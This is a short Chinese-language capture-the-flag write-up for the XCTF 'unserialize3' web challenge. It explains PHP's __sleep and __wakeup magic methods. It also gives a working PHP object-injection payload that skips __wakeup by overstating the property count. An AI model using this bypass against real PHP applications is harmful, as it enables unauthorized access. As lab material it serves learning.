攻防世界-web-unserialize3
考点:序列化和_wakeup()函数的绕过
进入环境以后发现了源码
这里的意思是通过get方法上传一个code值,使得这个code值可以跳过_wakeup()函数(如果进入_wakeup()那么就运行exit了)
当序列化(serialize)对象时,PHP 将试图在序列动作之前调用该对象的成员函数 __sleep()。这样就允许对象在被序列化之前做任何清除操作。类似的,当使用 unserialize() 恢复对象时, 将调用 __wakeup() 成员函数。因此需要用serialize来绕过wakeup()函数。
构造payload,创建一个xctf类并对其进行序列化
<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$a= new xctf();
print(serialize($a));
?>
运行得到O:4:"xctf":1:{s:4:"flag";s:3:"111";}
__wakeup()漏洞就是与整个属性个数值有关。当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行
所以用?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}传入参数得到结果